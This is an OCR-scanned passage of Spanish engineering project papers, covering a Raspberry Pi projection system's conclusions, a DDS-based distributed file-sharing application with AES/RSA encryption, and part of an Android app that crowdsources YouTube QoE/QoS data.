194 24.2237750192.168.1.3 192.168.1.38 FTP 88 Response: 220 (vsFTPd 3.0.2)
195 24.2255060192.168.1.38 192.168.1.3  TCP 68 44863 > ftp [ACK] Seq=l Ack=21 Win=2924§&
196 24.2287320192.168.1.38 192.168.1.3  FTP 78 Request: AUTH TLS
197 24.2287690192.168.1.3 192.168.1.38 TCP 68 ftp > 44863 [ACK] Seq=21 Ack=11 Win=2905
198 24.2289830192.168.1.3 192.168.1.38 FTP 99 Response: 234 Proceed with negotiation.
199 24.2360410192.168.1.38 192.168.1.3  FTP 388 Request: \026)003\001\001;\001\000\0017\
200 24.2365620192.168.1.3 192.168.1.38 FTP 861 Response: \02610031003\000:\002\000\000€
201 24.2521020192.168.1.38 192.168.1.3  FTP 278 Request: \026)003\003\000\a\v\0001000\0C
202 24.2538960192.168.1.3 192.168.1.38 FTP 302 Response: \026\003\003\000\252\004\000\C
203 24.2619520192.168.1.38 192.168.1.3 FTP 113 Request: \027\003\003\000(\255\245

Fig. 11. Tramas de una conexion FTP entre usuario y servidor

Archivo Edicién Pestafias Ayuda

Fig. 12. Debug del ServidorRPi
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de forma que en un futuro se pueda utilizar en diversos
entornos diferentes, que era uno de los objetivos
principales.

En definitiva, el sistema implementado aporta una
solucion real a la problematica actual, y cubre las
funcionalidades de un usuario del sistema de proyeccién
docente actualmente utilizado.

Aun habiendo cumplido la gran mayoria de los objetivos

establecidos al inicio, ain quedan abiertas las siguientes lineas
de trabajo futuras:

= Se ha logrado que el sistema sea facilmente portable a
distintos dispositivos gracias al uso del lenguaje PHP en
el entorno web y el lenguaje Java en el entorno de la
aplicacion cliente-servidor. Por tanto, una linea de
trabajo clara es completar la expansién del sistema a los
distintos dispositivos que actualmente nos rodean como
pueden ser tabletas o smarthphones.

= Con las nuevas distribuciones y las nuevas versiones
recientes implementadas y optimizados para Raspberry
Pi, se pueden estudiar las caracteristicas de cada una de
ellas para lograr mejorar el sistema implementado
actualmente. Esto puede ser respecto al rendimiento o
respecto al incremento de las funcionalidades del mismo
con nuevo software.

= Se puede incorporar un sistema que permita mostrar y
visualizar en el proyector la imagen de la pantalla del
dispositivo utilizado, caracteristica denominada screen
mirroring. Para ello se puede hacer uso de la tecnologia
Piracast [28], basada en Miracast [9] pero optimizada
para Raspberry Pi. Esta tecnologia ain se encuentra en
fase beta, por lo que aln queda un tiempo para que esté
totalmente terminada y optimizada para poder hacer uso
de ella. Por esa razon se descartd la implementacion de
la misma en este proyecto después de haber realizado un
estudio en detalle de ella.
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Resumen—La necesidad de almacenamiento de datos en la
nube, junto con la comparticion de éstos con otros usuarios, es
una tendencia en aumento constante. La mayoria de plataformas
disponibles ofrecen un enfoque centralizado, por lo que se ha
decidido realizar una nueva plataforma de comparticion de
carpetas entre usuarios de forma distribuida superando los
inconvenientes que ofrecen otras plataformas.

Para ello se ha utilizado el middleware DDS, ya que facilita la
tarea de crear un entorno distribuido. Ademas se han utilizado
diversas tecnologias para el cifrado de los datos y también para
el almacenamiento de los datos de forma local.

Tras la realizacion de distintas pruebas para evaluar su
funcionamiento podemos concluir que se ha logrado implementar
con éxito un sistema de comparticion de ficheros entre usuarios
de forma distribuida mediante DDS, incluyendo algunas mejoras
que no incluyen otras plataformas.

Palabras clave—DDS, Middleware, comparticion de ficheros,
distribucion de datos

I. INTRODUCCION

A tendencia actual de transicién entre modelos de com-
putacién centralizados hacia entornos distribuidos ha
hecho florecer una serie de aplicaciones y servicios basados
en “la nube” que proporcionan a los usuarios un mayor
nimero de alternativas a la hora de mantener y gestionar su
informacion personal y digital.
En la actualidad existe un gran ndmero de alternativas
para la realizacién de copias de seguridad y comparticién de
archivos ofreciendo ademas acceso ubicuo a los datos.

A. DDS

DDS [1] son las siglas de Data Distribution Service for
Real-Time Systems o Servicio de Distribucion de Datos para
sistemas de tiempo real. DDS es un estidndar internacional
abierto que especifica un modelo de publicacién/suscripcion
para sistemas de tiempo real y empotrados. DDS es un
estindar especificado por la Object Management Group
(OMQG) [2].

En este proyecto se opt6 por utilizar RTI Connext DDS [3],
el cual es un middleware de red que implementa el modelo
de comunicaciones en tiempo real de publicacién/suscripcion,
permitiendo a un proceso compartir informacién en un entorno
distribuido sin importar su localizacién fisica o la arquitectura
del resto de procesos.

En la Figura 1 se puede observar el diagrama de una
aplicacién DDS. Las aplicaciones creadas sobre DDS estan
formadas por un conjunto de entidades que permiten la
interaccion entre el middleware y la aplicacion. Las pricipales
son las siguientes:

« Domain Participant: En DDS, las entidades se agrupan
en torno a dominios. Cada entidad se sitia y opera en
un dominio a través de los Domain Participant. Son las
entidades de mayor nivel de abstraccion.

o Topic: Definen los distintos tipos de dato que son
transmitidos en DDS. Estos definen la temética de la
publicacién/suscripcion.

e Subscriber: Supone un punto intermedio de comuni-
cacion entre los DataReaders y la aplicacién. Se encarga
de gestionar las suscripciones a los distintos topics.

o Publisher: Es el encargado de publicar fropics en un
dominio.

« DataReader: Se trata del punto de acceso de una
aplicacion al espacio global de datos de DDS para la
recepcién de informacion.

« DataWriter: Es el punto de acceso de una aplicacién al
espacio global de datos de DDS para la publicacién de
informacion.

B. Antecedentes

En esta seccién se revisaran herramientas o plataformas ya
existentes que proveen una solucién total o parcial para el
problema tratado.

o Dropbox [4]: Sistema referencia en el desarrollo del
proyecto. Sistema centralizado. Espacio limitado.

e
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Fig. 1. Arquitectura de una aplicacion DDS
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e Owncloud [5]: Similar a Dropbox. Sistema centralizado.
Montaje en servidor propio.

« Google Drive [6]: Sistema centralizado con posibilidad
de edicién de documentos. Espacio limitado.

« Bittorrent Sync [7]: Sincronizacién de archivos medi-
ante P2P [8]. No existe el rol usuario. Se basa en un
sistema de clave privada. Sin permisos definidos.

o« Emule [9]: Comparticién de archivos entre un gran
ndmero de usuarios via P2P. Los ficheros se dividen en
partes. Sin posibilidad de sincronizar archivos o carpetas.

« Rsync [10]: Aplicacién y protocolo de sincronizacién
de archivos y carpetas. Utiliza compresién de archivos y
versiones incrementales de ellos. Solo permite comuni-
cacién uno a uno. Sin control de versiones.

II. ESPECIFICACION DE REQUISITOS

A partir de las plataformas analizadas en la seccién de
antecedentes se identificaron una serie de requisitos que el
sistema a desarrollar debe cumplir:

A. Requisitos funcionales

o Comparticién de ficheros y carpetas entre usuarios.

¢ Realizar una transmision distribuida de los datos.

« Se comparten carpetas: todos los usuarios con acceso a
esa carpeta recibirdn todos los ficheros y carpetas que
contenga.

o Interfaz de usuario grafica y por linea de comandos.

o Dos tipos de carpetas compartidas

— Piblicas: cualquier usuario tiene acceso.
— Privadas: sé6lo usuarios que hayan sido invitados a
dicha carpeta.

Hay distintos tipos de usuarios para una carpeta compar-
tida, cada uno de ellos con una serie de permisos que se
detallan en la Tabla 1.

B. Requisitos no funcionales

« Portabilidad: La aplicacién deberia de ser capaz de
ejecutarse en sistemas Windows como Linux, sin tener
en cuenta la arquitectura del procesador.

« Facilidad de instalacién: El proceso de instalacién de
la aplicacion ha de ser lo mas sencillo posible, de forma
que el usuario no tenga que configurar el entorno en el
que ejecutard la aplicacion.

« Transparencia: El usuario no debe conocer la existencia
de entidades DDS, hebras, y demds peculiaridades de la
implementacion.

« Rendimiento: La aplicacion ha de ser eficiente tanto
en memoria como en tiempo de ejecucién, consumiendo
s6lo los recursos del sistema estrictamente necesarios.

Tabla I
PERMISOS DE USUARIO
Type Read | Write | Add user | Add editor
Reader X
Collaborator X X
Editor X X X
Owner X X X X

III. DISENO

Una vez establecidos los requisitos que debe cumplir el
sistema se procede a realizar el disefio del mismo.

A. Arquitectura global del sistema

El sistema a desarrollar consiste en un sistema distribuido
en la que la informacidn se intercambia entre distintos clientes
de forma directa. Para realizar ese intercambio de informacion
se va a utilizar el middleware DDS.

Gracias a este middleware la comunicacién entre los
clientes resulta muy sencilla. En la Figura 2 se ilustra la arqui-
tectura global del sistema. Cada uno de los nodos producird y
recibird informacién, por lo que serd publicador y suscriptor
sobre el middleware.

[FEESS
Nodo

=T

Middleware DDS

Nodo

Nodo Nodo

Fig. 2. Arquitectura global

B. Modelo de datos del sistema distribuido

Como se ha explicado en la introduccidn, la transmisién de
la informacidn se va a realizar utilizando diversos topicos. En
esta aplicacion va a haber dos tipos de tdpicos: globales y por
carpeta.

1) Topicos globales: Se van a utilizar para transmitir
informacién de forma global a todos los usuarios. Son los
siguientes:

« UserInfo: Se utiliza para transmitir la informacién cor-
respondiente a un usuario: identificador, nombre de
usuario, nombre real, email y clave publica de cifrado.

o FolderInfo: Mediante este tpico se transmite la infor-
macién relativa a una carpeta compartida. Esta infor-
macién incluye el identificador de la carpeta, su nombre,
los usuarios con privilegios y una clave de cifrado en
caso de ser una carpeta privada.

2) Topicos por carpeta: Estos topicos serviran para trans-
mitir informacion relativa a cada una de las carpetas com-
partidas, es decir, cada carpeta compartida tendrd registrado
en el middleware cada uno de los siguientes tépicos con un
identificador Unico:

« Filelnfo: Se utiliza para transmitir los metadatos relativos
a cada fichero de la carpeta compartida: nombre, tamafio,
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fecha de modificacién, usuario que lo ha modificado, tipo
de modificacion.

« FileSegment: Sirve para transmitir el contenido binario
del fichero por partes.

« Command: Mediante este tOpico se transmiten coman-
dos propios de la carpeta compartida: si se ha afiadido un
usuario nuevo y con qué permisos o cuando se elimina
un usuario de la carpeta.

C. Diagrama de clases

En la Figura 3 se puede ver un diagrama de clases simpli-
ficado para mostrar el disefio de clases de la aplicacién.

FileSystemDaemon

o
o

DDSController

DBController

==

<<static>>
FileUtils
f—— et <<interface>> mmmmn
| ul |
| ! <<static>>
} } SecurityUtils
i i
GraphicUl ConsoleUl

Fig. 3. Diagrama de clases

La clase MainController se encarga de toda la ldgica
general de la aplicacién. Por otro lado hay controladores para
el sistema de ficheros, para una base de datos local y para
gestionar el middleware DDS.

También hay un demonio encargado de monitorizar el sis-
tema de ficheros e informar al controlador de ficheros de todos
los cambios que se produzcan en las carpetas compartidas de
la aplicacidn.

La interfaz de usuario estd disefiada de forma que tanto
la interfaz grifica como la interfaz por linea de comandos
heredan de una interfaz de java con los métodos que deben
implementar ambas interfaces.

D. Cifrado

Uno de los requisitos de la aplicacion es la posibilidad de
compartir carpetas de forma privada entre usuarios. Por ello
surge la necesidad de cifrar dicha informacién para que un
usuario que no tenga acceso a una carpeta compartida no
pueda obtener su contenido.

Se van a utilizar dos algoritmos de cifrado: AES (Advanced
Encryption Standard) [12] y RSA [11].

23

o AES: Se va a utilizar para transmitir los datos de los
tépicos de las carpetas compartidas. Es un tipo de cifrado
simétrico, es decir, todos los usuarios con acceso a
la carpeta compartida disponen de la misma clave de
cifrado, y cada carpeta compartida tendrd una clave de
cifrado distinta. S6élo los usuarios que tengan la clave
de cifrado de una carpeta compartida concreta podran
acceder a sus datos.

« RSA: Se utiliza para transmitir la informacién sobre una
carpeta compartida de usuario a usuario. Es un tipo de
cifrado asimétrico, por lo que cada usuario dispone de
su propia clave publica y su clave privada.

E. Base de datos local

Surge la necesidad de mantener informacién localmente en
cada nodo de forma que se mantenga una consistencia de la
informacidn entre distintas ejecuciones de la aplicacién. Para
ello se va a utilizar una base de datos local en cada nodo.

La informacién que se va a almacenar en esta base de datos
es la correspondiente a los distintos usuarios, las carpetas
compartidas a las que se esté suscrito y los metadatos de
cada fichero.

F. Persistencia de los cambios

El middleware permite configurar la persistencia de los
cambios realizados. Existen tres niveles de persistencia:

« Volatile: No se almacena ningtin cambio para nodos que
se unan posteriormente.

« Transient: Los cambios son almacenados mientras la
ejecucion continde.

o Persistent: Los cambios prevalecen entre ejecuciones.

Para utilizar el nivel Persistent es necesario utilizar un
Servicio de persistencia.

1V. IMPLEMENTACION

A. Lenguaje de programacion

La aplicacién se ha desarrollado utilizando el lenguaje de
programacién Java™7 [13]. Se ha elegido por encima de
otras opciones porque es multiplataforma y posee un gran
conjunto de bibliotecas, de forma que el mismo cédigo sirve
para ejecutar la aplicacién en distintos sistemas operativos sin
la necesidad de realizar modificaciones. Ademads es uno de los
pocos lenguajes soportados por la API de la implementacion
utilizada del middleware DDS.

B. Serializacion

Los datos a cifrar para las carpetas privadas son objetos
formados por muchos atributos. Por ello se va a proceder a
serializarlos. La serializacion consiste en pasar un objeto a un
array binario. Este conjunto de bits serd el que se cifre, de
forma que en el destino se puede reconstruir el objeto a partir
de dicho array.
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C. Identificadores

Al tratarse de un sistema distribuido surge la necesidad de
generar identificadores en cada nodo que sean unicos en todo
el sistema, de forma que no haya identificadores duplicados
para entidades distintas. Por esta razén los identificadores
secuenciales no son validos.

Se han utilizado UUID [14]: son identificadores formados
por 32 caracteres hexadecimales que se generan de forma
aleatoria segun distintas metodologias. En el caso de Java se
utiliza una generacién de niimeros aleatorios.

La probabilidad de que se genere un duplicado es de
4210716 para 236 claves generadas.

D. Base de datos

Para la base de datos local se ha utilizado el motor SQLite
[15]. Se ha elegido por ser un motor multiplataforma, ligero
y que no requiere ninguna instalacién adicional, solo incluir
una biblioteca en la aplicacién.

V. EVALUACION

En esta seccién se comentaran las pruebas realizadas y se
estudiardn los resultados obtenidos. Las pruebas realizadas se
dividen en pruebas cualitativas y pruebas cuantitativas.

A. Pruebas cualitativas

Este apartado de la evaluacion se divide a su vez en pruebas
unitarias, en las cuales se prob6 el funcionamiento de los
distintos médulos que integran el sistema de forma indepen-
diente para verificar su correcto funcionamiento, y pruebas
de integracidn, en las cuales se probaron todos los médulos
del sistema para comprobar el correcto funcionamiento entre
ellos.

Los resultados de ambas pruebas fueron satisfactorios y se
verificé el correcto funcionamiento del sistema.

B. Pruebas cuantitativas

En este apartado de pruebas se utilizé una bateria de
pruebas para medir el rendimiento del sistema implementados
y poder compararlo con Dropbox, una de las alternativas
actuales mds conocidas en el mercado.

La bateria de pruebas consistia en la transmision de ficheros
de tamano 1MB, 10MB, 100MB y 500MB desde un nodo
emisor a 1, 2 y 3 nodos receptores.

En la Figura 4 se puede observar la arquitectura utilizada
para estas pruebas, se trata de un equipo host albergando 4
madquinas virtuales representando los nodos descritos anteri-
ormente.

En la Figura 5 se muestran los resultados de las pruebas
realizadas para la difusién a 1, 2 y 3 nodos utilizando DDS.

En las Figuras 6, 7 y 8 se comparan los resultados Dropbox
y DDS con 1, 2 y 3 nodos respectivamente.

VI. CONCLUSIONES

Una vez presentada la evaluacién realizada al sistema
desarrollado, se prodece a exponer las conclusiones extraidas.

A. Conclusiones evaluacion

Los resultados de las pruebas cualitativas fueron los de-
seados y se consiguié validar el funcionamiento del sistema
desarrollado.

Respecto a las pruebas cuantitativas se concluye lo sigu-
iente:

Como puede observarse, el rendimiento de Dropbox parece
inferior al redimiento del sistema implementado, este hecho
es debido a que Dropbox inicialmente indexa el contenido del
fichero, posteriormente compara dicho indice con su base de

PC Host
8 procesadores
16 GB RAM
Windows 8.1

—
fa = I
L-J

vl d—— d—r d——
F—rd F—rd F—d F—rd
MV MVZ MV3 Mva
1 procesador 1 procesadaor 1 procesador 1 procesadaor
2 GB RAM 2 GB RAM 2 GB RAM 2 GB RAM

ArchLinux ArchLinux Archlinux ArchLinux

Fig. 4. Arquitectura evaluacion cualitativa
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Fig. 5. Resultados pruebas DDS

Comparativa Dropbox vs DDS (1 nodo)
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Fig. 6. Resultados pruebas DDS vs Dropbox (1 nodo)
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Comparacién Dropbox vs DDS (2 nodos)
M Media Dropbox M MediaDDs

Tamario / Duracion(s)

210

140
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= I— Fi

Fig. 7. Resultados pruebas DDS vs Dropbox (2 nodo)

Comparativa Dropbox vs DDS (3 nodos)
M Media Dropbox M Media DDS

Tamario/ Duracion (s)

210

140
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Fig. 8. Resultados pruebas DDS vs Dropbox (3 nodo)

datos, y si lo considera necesario, transmite dicho fichero a
su sistema central, por ello, la primera transmisién de cada
fichero perjudica el tiempo de transmisién medio para cada
escenario.

En general, se observa que el incremento del nimero
de nodos para ambos sistemas implica una reduccién del
rendimiento a la hora de difundir la informacién entre estos.
A pesar de los datos extraidos durante las pruebas, no se ha
conseguido determinar de manera exacta el nimero maximo
de nodos que es capaz de soportar el sistema implementado
antes de volverse completamente inestable debido a la escasez
de medios para poder realizar dichas pruebas.

En base a los razonamientos realizados anteriormente se
puede concluir que la descentralizaciéon de la légica del
sistema puede aportar beneficios respecto a un sistema cen-
tralizado ya que son los distintos nodos del sistema los que
se encargan de tomar las acciones necesarias respecto a un
evento, sin tener que esperar respuesta de un nodo central.

B. Conclusiones globales

En general, las conclusiones extraidas son las siguientes:

o Se ha logrado implementar un sistema para la com-
particiéon de ficheros mediante DDS cumpliendo los
requisitos funcionales establecidos.

« Se han implementado distintos tipos de carpetas (publicas
y privadas) y un sistema de privilegios para los usuarios.
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e Los ficheros se comparten de forma transparente al
usuario, requiriendo una intervencién minima por parte
del usuario.

o La aplicacién es multiplataforma, funcionando en Win-
dows y Linux.
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Resumen—Este proyecto tiene como fin recopilar informacion
de QOE y QoS sobre videos de YouTube reproducidos en
dispositivos méviles Android. Para ello se aplicara la filosofia de
crowdsourcing, obteniendo asi informacién sobre un gran
namero potencial de usuarios con un coste muy bajo. Toda esta
informacion es almacenada en una base de datos de forma
ordenada y sera utilizada para la generacion de modelos de
estimacion de QoE asi como mdltiples andlisis estadisticos en los
gue participen los multiples datos recogidos.

Palabras clave—Streaming de video, Calidad de Experiencia
(QOE - Quality of Experience), Calidad de Servicio (QoS - Quality
of Service), crowdsourcing, Wi-Fi, redes moviles, Android,
YouTube.

I. INTRODUCCION

I servicio de streaming es en la actualidad el servicio que

cuenta con un mayor volumen de tr&fico en Internet. Segun
un informe de Cisco [1], en el afio 2017 se estima que abarcara
un total del 69% del tréfico total en Internet, frente al 57% que
ya suponia en 2012. Con estas cifras se destaca no sélo la
importancia de este servicio en la actualidad, sino también el
gran crecimiento que experimentara en un futuro préximo.
Dentro de este servicio, el lider indiscutible es YouTube. El
éxito de este servicio se atribuye principalmente a la
combinacion del amplio catdlogo de videos que ofrece junto
con el caracter de red social que permite interactuar entre sus
usuarios [2].

Por otro lado, las redes con conectividad inaldmbrica han
experimentado un crecimiento acusado en los dltimos afios al
mismo tiempo que presentan unas previsiones muy favorables
para los proximos afios. En concreto, en este proyecto tomaran
parte las redes moviles de tipo celular con tecnologias como
GSM, UMTS, LTE, etcétera, y las redes inalambricas que
siguen el estdndar IEEE 802.11. De estas UGltimas se
consideraran solo aquellas que cumplen con la certificacion
Wi-Fi. Segin un informe de Cisco [3], en 2012 estas redes en
conjuncién abarcaban en total un 52% del tréfico total de
Internet, mientras que para el afio 2017 se estima que
supondran un total del 68%.

Asimismo, se destaca la importancia de los conceptos de
calidad de servicio (QoS — Quality of Service) y calidad de
experiencia (QoE — Quality of Experience). La obtencién de
informacion de QoE y QoS sobre servicios de streaming de

video puede dar lugar a la futura creacion de modelos de
estimacion. Estos modelos seran de gran utilidad en tanto que
se utilizan a menudo en ingenieria de trafico. Apoyandose en
estos modelos, los proveedores de servicios y los propios
servidores de contenidos pueden tratar de buscar una serie de
politicas que busquen un punto 6ptimo en el que se ofrezca un
nivel de servicio adecuado con la mayor eficiencia posible.
Esto supone grandes reportes econdmicos puesto que se
utilizaran tecnicas que conseguirdn un aprovechamiento
méaximo de los recursos. De este modo se evitara llevar a cabo
una politica de sobredimensionamiento que garantice el
correcto funcionamiento de los servicios con su consecuente
coste adicional.

Por dltimo, cabe mencionar la importancia del sistema
operativo Android dentro del mercado de los dispositivos
maviles inteligentes, denominados asiduamente smartphones.
Se estima que en el Gltimo cuatrimestre de 2013, Android se
encontraba aproximadamente en el 80% de los smartphones
existentes a lo largo del mundo [4], frente a su principal
competidor 10S, que abarcaba précticamente un 20%. El
principal logro de Android se basa en el amplio nimero de
usuarios con los que cuenta asi como en el crecimiento que ha
experimentado en los ultimos afios.

Tomando en consideracion lo expuesto hasta el momento, el
objetivo principal propuesto en este proyecto ha sido el disefio
e implementacion de un sistema de recoleccién de datos de
QoE y QoS sobre videos de YouTube en dispositivos méviles,
en concreto sobre aquellos que utilizan el sistema operativo
Android. No obstante, aunque el primer objetivo fue la
obtencion de datos de QoE y QoS, finalmente se han obtenido
otras estadisticas que podran resultar de interés, tales como
datos de caréacter demogréfico o la obtencion de los tépicos
relacionados con los videos reproducidos.

Tras haber realizado una revision bibliografica, no se ha
podido encontrar una aplicacion que realice las mismas
funciones. El trabajo mas similar que se ha encontrado ha sido
en [5]. Sin embargo segun se indica en este articulo, se trata de
una aplicacion que sélo recopila informacion sobre la QoE a
través del método OneClick [6] y relaciona esta informacion
con datos de QoS de nivel de red (velocidad de transmisidn,
pérdida de paquetes y retardo) medidos en el servidor de
streaming. Esto indica que el servidor de videos debe trabajar
de forma colaborativa con el usuario final para combinar la
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informacién recogida. En este caso la herramienta tendria
sentido para un administrador de un servidor de streaming de
video que desease recoger informacién sobre su propio
servicio. Sin embargo, en el sistema desarrollado en el presente
proyecto toda la informacion se recopila en el lado del cliente,
desde la aplicacion para méviles, lo que posibilitara realizar un
estudio sobre el servicio de YouTube sin contar con
mediciones realizadas en el lado del servidor. Ademas, cabe
destacar que en la aplicacion desarrollada no sélo se recogen
pardmetros de QoS a nivel de red, sino que también se han
monitorizado eventos en la aplicacién que permitiran obtener
informacién de la QoS a nivel de aplicacion (interrupciones,
tiempo de carga inicial del video, etcétera). Con todo ello se
tienen datos de QoE (medida mediante el parametro MOS),
datos de QoS a nivel de red y de aplicacion, datos
demograficos y datos estadisticos sobre los videos
reproducidos. Todos ellos se podran utilizar combinadamente
para realizar multitud de estudios diferentes.

Ao largo de todo el proceso de disefio se pondré de manifiesto
la filosofia de crowdsourcing. De forma resumida, esta
corriente se basa en la externalizacién de pequefias tareas a
diferentes usuarios de forma que contribuiran a la elaboracion
de un trabajo de grandes dimensiones. En lo que al proyecto se
refiere, se pretende obtener a través de la aplicacion Android
informacién proveniente de una gran cantidad de usuarios que
finalmente permitiran conformar una base de datos importante
que pueda dar lugar a la elaboracién de futuros trabajos de
investigacion. Cabe destacar la importancia del sistema
operativo Android en la aplicacién de esta filosofia, puesto que
su amplio mercado facilitard que la aplicacién desarrollada
pueda potencialmente ser utilizada por un gran nimero de
usuarios que ademas constituyan una muestra heterogénea.

Il. ARQUITECTURA DEL SISTEMA

Para cumplir con los objetivos y requisitos planteados en este
proyecto se ha decidido, después de valorar diferentes
opciones, la utilizacion de la arquitectura representada en la
Fig. 1.

Servidor
SFTP

3
A
U- Internet
Servidor

N
B Base de datos

—

Fig. 1: Arquitectura del sistema disefiado.

Este sistema se compondréa de los siguientes elementos:

- Aplicacion Android para el cliente que permita la
basqueda y reproducciéon de videos del servicio de
YouTube. A lo largo de la reproduccion se iran
recogiendo datos relacionados principalmente con la QoS.
Ademas recogerd al término de la reproduccion mediante
un formulario algunos datos sobre la experiencia
percibida por el usuario (QoE).

- Servidor SFTP para la recoleccidn de los datos recibidos
desde diferentes dispositivos mdviles en cada
experimento.

- Servidor de base de datos para almacenar de forma
ordenada la informacion alojada en el servidor SFTP
después de un posprocesado de los datos.

- Desarrollo de un programa en Java que llevara a cabo la
lectura y posprocesado de la informacién del servidor
SFTP y posteriormente realizara la insercion de ésta en el
servidor de base de datos.

El esquema de la Fig. 1 representa la estructura ldgica de la
red, en la que se pueden observar los dos servidores alojados
en diferentes subredes. Esta arquitectura seria factible sobre la
implementacion final. No obstante, en la implementacién real
del proyecto, los servicios SFTP y de base de datos han sido
alojados en un mismo host puesto que se ha considerado la
opcién mas econdmica y segura y en no se han identificado
posibles desventajas.

I1l. DISENO E IMPLEMENTACION DE LA APLICACION ANDROID
EN EL LADO DEL CLIENTE

Para la recoleccion de datos, se ha desarrollado una aplicacion
Android que sea lo més intuitiva y atractiva posible para
favorecer su uso por parte de usuarios finales.

Esta aplicacion supone el elemento principal del disefio de este
proyecto ya que en ella se realizaran las principales funciones
que permitiran obtener toda la informacion deseada.

La aplicacion constara principalmente de cuatro pantallas o
actividades que actuaran como interfaz para el usuario y
tendran diferentes funcionalidades.

La primera de ellas sera una interfaz a través de la cual el
usuario podra llevar a cabo una busqueda de videos del
servicio de YouTube a partir de unas palabras clave. De este
modo el usuario podra enviar una palabra o frase para que se
pueda obtener un listado con los resultados obtenidos. Estas
dos actividades se pueden observar en la Fig. 2.

= Resultados de "universidad de g..

@ voutubeqoE

'S fian enconirado 20 resuliados.
Video promocional Universidad de
Granada
Publicado: 26/11/2010
UNIVERSIDAD DE GRANADA UGR
- 4 Publicado; 22/06/2010

‘F!n l“ 2:::5'."' Universidad do Granada,

Publicado; 19/0412013

Nimero de videos: 20

R Lo Universidad de Granada. fiv

Publicado: 04/10/2010

Comedores universitarios de la
i Universidad de Granada:
Fuentenveva
Publicado: 26/07/2011

Fig. 2: Actividades de bUsqueda y listado de resultados

A partir de la lista de resultados, el usuario podra elegir uno de
ellos para comenzar la reproduccién del video. En este
momento se ejecutard una actividad en la que se incluye un
reproductor de videos embebido junto con alguna informacion
descriptiva del video. Se puede considerar esta actividad como
la fundamental de la aplicacion, ya que en ella es donde se
recogen la mayoria de los datos que finalmente se van a enviar
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al servidor. Al iniciarse la reproduccion se ejecutaran tres
hebras que llevaran a cabo diferentes tareas en segundo plano.
Las dos primeras se encargardn respectivamente de la
recopilacién de informacidn de QoS a nivel de red y a nivel de
aplicacion. La Gltima de ellas recogera datos descriptivos del
video incluyendo los topicos relacionados con éstos siguiendo
el esquema de topicos identificados de forma univoca en
FreeBase [7]. Cabe destacar que todos estos procesos se
realizaran de un modo totalmente transparente, tratando asi de
aproximarse en la medida de lo posible al funcionamiento de
una aplicacién convencional para la reproduccion de videos,
tal como la aplicacion oficial de YouTube. De este modo no
supondra un gran esfuerzo para el usuario la utilizacién de esta
aplicacion. En el desarrollo de estas funcionalidades, han
resultado de gran utilidad las librerias YouTube Android
Player API [8] y YouTube Data API [9] para la reproduccién
del video y la deteccion de eventos que posteriormente daran
informacién sobre la QoS a nivel de aplicacién.

Finalmente, cuando el usuario desee finalizar la reproduccion
del video, se le ofrecera mediante un didlogo la posibilidad de
rellenar un pequefio formulario.

En la Fig. 3 quedan reflejadas las interfaces de reproduccion
del video y cuando se despliega el didlogo que invita al usuario
a realizar la encuesta.

Fig. 3: Actividad de reproduccion de videos y didlogo al finalizar la reproduccién

Finalmente, si el usuario accede a rellenar el formulario, se le
presentara una actividad como la de la Fig. 4 en la que se podra
llevar a cabo finalmente el envio de todos los datos recogidos
a lo largo del experimento hacia un servidor. Este formulario
es breve ya que se pretende que completarlo no suponga un
gran esfuerzo para el usuario. Sin embargo contiene datos de
gran interés. Como principal informacion, se obtiene una
valoracion de entre 1 y 5 sobre la QoE percibida por el usuario,
lo que se denomina cominmente MOS (Mean Opinion Score)
[10]. Por otro lado se recogen datos de caracter demogréfico,
como son la edad y el sexo, que a menudo son de interés en
estudios estadisticos.

w3 Encuesta

Edad: 22

Sexo! Hombre 4

Valoracién general:

Enviar datos

Fig. 4: Actividad de encuesta final al usuario
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También cabe destacar que en todo momento se ha tratado de
preservar la privacidad del usuario. Con ello, cualquier
informacién que se ha considerado susceptible de identificar
al usuario o al dispositivo movil en el que se realiza el
experimento, se ha tratado de evitar o en su defecto se le ha
aplicado una funcién hash antes de llevar a cabo el envio de
los datos. De este modo se podran por ejemplo diferenciar los
experimentos realizados desde un mismo dispositivo movil
pero no sera posible identificar de manera directa el dispositivo
que realizé el envio de los datos.

Por ultimo, durante el proceso de implementacion se decidi6
incluir de un modo adicional la posibilidad de reproducir
videos a partir de un enlace web que referenciase a éstos. De
este modo se favoreceria el uso de la aplicacion ya que en la
actualidad es muy comdn la utilizacién de este tipo de enlaces
para la comparticiéon de videos a través de redes sociales o
aplicaciones de mensajeria instantanea.

IV. DISENO E IMPLEMENTACION EN EL LADO DEL SERVIDOR

En el lado del servidor se ha implementado por un lado un
servidor SFTP, utilizando la distribucion de software libre
openssh [11], y por otro lado un servidor de base de datos
utilizando wuna distribucion de mySQL [12]. Estas
distribuciones se han elegido en tanto que se trata de servicios
ampliamente desplegados en la actualidad y de licencia
gratuita.

En el disefio previsto en el presente proyecto se ha decidido
utilizar una modalidad de SFTP enjaulado. Esto quiere decir
que el usuario SFTP no podré acceder a todo el contenido del
host en el que se aloja el servidor, sino que se le ha restringido
el acceso a un directorio creado expresamente para éste fin.
Con ello se ha pretendido aumentar el nivel de seguridad en el
servidor. De este modo, todos los dispositivos méviles podran
enviar al directorio de SFTP los ficheros de datos que se han
generado durante el experimento utilizando un nombre de
usuario y sus credenciales. Ademas, SFTP implica la
utilizacién de un canal seguro, por lo que se preservara la
confidencialidad de los datos ya que el contenido que viaja a
través de Internet estara convenientemente cifrado para evitar
que puedan realizarse escuchas en el canal.

En cuanto al servidor de base de datos, se ha contemplado
crear una serie de tablas que permitan almacenar todos los
datos obtenidos tras un posprocesado. Para ello todos aquellos
datos cuyo nimero de entradas en la tabla puede ser variable
en funcion del experimento (por ejemplo, eventos de
interrupcién), han motivado la creacion de una nueva tabla. De
este modo, cada entrada en las tablas contendra un campo que
identificara al experimento al que pertenece con el fin de que
se puedan realizar posteriormente consultas selectivas en las
que se puedan obtener los datos en conjunto de cada
experimento de forma individualizada.

Por Gltimo ha sido necesario el desarrollo de un programa
utilizando el lenguaje Java para llevar a cabo la actualizacién
de los datos almacenados en el servidor SFTP, procesarlos
para obtener nueva informacion e insertarlos de forma
ordenada en la base de datos. Este programa ademas realizara
una comprobacion en el inicio de su ejecucion en la que, si no
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existe la base de datos y las tablas asociadas a ésta, las generara
de forma automaética para abstraer en la medida de lo posible
al administrador del servidor de las tareas iniciales necesarias
para la configuracion del servidor. En el procesado de los datos
se destaca sobre todo que, a partir de la deteccién de ciertos
eventos a nivel de aplicacion sobre el reproductor de videos,
se ha recogido informacion como el tiempo de buffering inicial
o0 el nimero de interrupciones producidas por agotamiento del
buffer y su duracién. Este programa Unicamente afiadira la
informacion que adn no se encuentre en la base de datos y
